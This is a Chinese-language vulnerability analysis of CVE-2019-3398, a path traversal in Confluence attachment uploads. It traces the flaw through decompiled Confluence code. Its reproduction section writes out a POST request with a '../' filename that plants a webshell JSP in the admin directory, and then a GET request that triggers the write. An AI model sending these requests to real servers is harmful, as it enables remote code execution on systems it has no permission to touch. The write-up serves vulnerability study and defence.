menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2019-3398)Confluence 路径穿越漏洞 chevron_right (CVE-2019-3398)Confluence 路径穿越漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2019-3398)Confluence 路径穿越漏洞.md
    7.36 KB / 2021-07-15 19:49:51
        (CVE-2019-3398)Confluence 路径穿越漏洞
    ========================================
    
    一、漏洞简介
    ------------
    
    二、漏洞影响
    ------------
    
    2.0.0 \<= version \< 6.6.136.7.0 \<= version \< 6.12.46.13.0 \<= version \< 6.13.46.14.0 \<= version \< 6.14.36.15.0 \<= version \< 6.15.2
    
    三、复现过程
    ------------
    
    ### 漏洞分析
    
    首先根据官方描述,`downloadallattachments`这个资源,结合其验证缓解措施的方式,找到了漏洞触发点:
    
        ... =》附件=》下载全部
    
    点击`下载全部`时,会触发一个GET请求:
    
        GET /pages/downloadallattachments.action?pageId=65601
    
    然后响应
    
        Location: /download/temp/downloadi120q121507.zip?contentType=application/zip
    
    而且每次发出`downloadallattachments.action`请求,其响应的Location路径的zip文件名都不一样,发现原来是服务端每收到一次downloadallattachments.action请求,就会在`download/temp/`目录下生成一个zip文件:
    
    1.png
    
    搜索了一下,发现这个文件是在/Users/xxx/confluenceHome,也就是confluence的安装目录下。
    
        cqq@ubuntu:~$ find .|grep download45lL6115220.zip
        ./confluenceHome/temp/download45lL6115220.zip
    
    然后看到这个目录下还有一个attachments目录,为了验证这就是附件上传的目录,
    
    2.png
    
    于是,新建了一个页面,上传了几个文本文件,通过cat出来的内容与上传的内容匹配,判定这个就是上传的附件被存放的目录,但是这个目录下的文件名被重命名了。既然官方说是路径穿越漏洞,就得找到文件名或者文件路径的输入点。在这里上传文件的过程中抓一下包,发现有两个参数是文件名/文件路径相关的,`filename`和`name`,经过测试发现漏洞点参数是`filename`。
    
    ### 漏洞复现
    
    通过一番`grep -rn xxx *`的查找,发现需要两步来完成对路径穿越的利用。
    
    1、`POST /plugins/drag-and-drop/upload.action?pageId=65601&filename=../../../../../../Users/xxx/repos/atlassian-confluence-6.13.0/confluence/admin/cqq2.jsp&size=754&minorEdit=true&spaceKey=ADMIN&mimeType=application%2Foctet-stream&atl_token=47ae1afbc53f1ed100a4c36053de2d754d48ffeb&contentType=page&isVFMSupported=true&name=cqq2.jsp`先将webshell上传上去,其内容会出现在confluence的安装目录,即/Users/xxx/confluenceHome。注意上传的时候的`size`参数需与`Content-Length`值保持一致,服务端会对这个做校验,若发现不一致,则会导致500。在UploadAction\#execute下断点
    
        confluence/WEB-INF/atlassian-bundled-plugins/confluence-drag-and-drop-6.13.0.jar!/com/atlassian/confluence/plugins/dragdrop/UploadAction.class
    
    通过
    
        InputStream inStream = this.getStreamForEncoding(this.httpServletRequest);
        this.fileUploadManager.storeResource(new InputStreamAttachmentResource(inStream, this.filename, this.mimeType, this.size, (String)null, this.minorEdit), (ContentEntityObject)content);
    
    将POST的内容写入到缓存文件中:`attachments/ver003//56/98/98306/101/65/65601/917509/1`,3.png`filename`值没有对`../`进行过滤。44.png上传完成之后,打开"全部附件"页面,会出现我们刚刚上传上去的文件,其文件名没有对`../`进行过滤。5.png
    
    2、`GET /pages/downloadallattachments.action?pageId=65601`然后通过这个GET请求,触发将缓存的webshell内容写入指定的路径操作。在DownloadAllAttachmentsOnPageAction\#execute下断点
    
        confluence/WEB-INF/lib/confluence-6.13.0.jar!com/atlassian/confluence/pages/actions/DownloadAllAttachmentsOnPageAction.class
    
    文件内容:
    
        public String execute() throws Exception {
                List<Attachment> latestAttachments = this.attachmentManager.getLatestVersionsOfAttachments(this.getPage());
                Iterator var2 = latestAttachments.iterator();
    
                while(var2.hasNext()) {
                    Attachment attachment = (Attachment)var2.next();
                    File tmpFile = new File(this.getTempDirectoryForZipping(), attachment.getFileName());
                    InputStream inputStream = this.attachmentManager.getAttachmentData(attachment);
                    Throwable var6 = null;
    
                    try {
                        OutputStream fileOutputStream = new FileOutputStream(tmpFile);  // tmpFile内容为/Users/Xxx/repos/confluenceRepos/temp/download8gHGV130701/../../../../../../Users/Xxx/repos/atlassian-confluence-6.13.0/confluence/admin/cmd222.jsp
                        Throwable var8 = null;
    
                        try {
                            ByteStreams.copy(inputStream, fileOutputStream);  //将缓存文件写入指定的路径
                        } catch (Throwable var31) {
                            var8 = var31;
                            throw var31;
                        } finally {
                            if (fileOutputStream != null) {
                                if (var8 != null) {
                                    try {
                                        fileOutputStream.close();
                                    } catch (Throwable var30) {
                                        var8.addSuppressed(var30);
                                    }
                                } else {
                                    fileOutputStream.close();
                                }
                            }
    
                        }
                    } catch (Throwable var33) {
                        var6 = var33;
                        throw var33;
                    } finally {
                        if (inputStream != null) {
                            if (var6 != null) {
                                try {
                                    inputStream.close();
                                } catch (Throwable var29) {
                                    var6.addSuppressed(var29);
                                }
                            } else {
                                inputStream.close();
                            }
                        }
    
                    }
                }
    
                //在confluence安装路径的temp目录下生成zip文件。
                File zipFile = new File(this.getConfluenceTempDirectoryPath() + File.separator + this.getZipFilename() + ".zip");
                FileUtils.createZipFile(this.getTempDirectoryForZipping(), zipFile);
                FileUtils.deleteDir(this.getTempDirectoryForZipping());
                this.downloadPath = this.prepareDownloadPath(zipFile.getPath()) + "?contentType=application/zip";
                this.gateKeeper.addKey(this.prepareDownloadPath(zipFile.getPath()), this.getAuthenticatedUser());
                return "success";
            }
    
    先拿到Attachement列表
    
        List<Attachment> latestAttachments = this.attachmentManager.getLatestVersionsOfAttachments(this.getPage());
    
    然后对列表中每个附件进行遍历,从最前面的开始,
    
    然后通过666.png
    
        attachment.getFileName())
    
    获得附件的名字(这里有我们之前设置好的payload文件名)然后执行
    
        ByteStreams.copy(inputStream, fileOutputStream);
    
    将之前缓存的上传文件copy到通过请求参数`filename`指定的路径下,实现路径穿越。7.png执行前后对比如下:8.png对比缓存文件和在指定路径生成的文件的sha1值对比:一致。9.pngConfluence本身就可以上传任意文件内容到服务端,但是会放在缓存目录下,文件路径不可控。关键地是,没有对`filename`请求参数进行过滤,有路径穿越漏洞,才能将指定文件名指定文件内容写入到文件系统中。
    
    参考链接
    --------
    
    > https://xz.aliyun.com/t/4854
    
    
    links
    file_download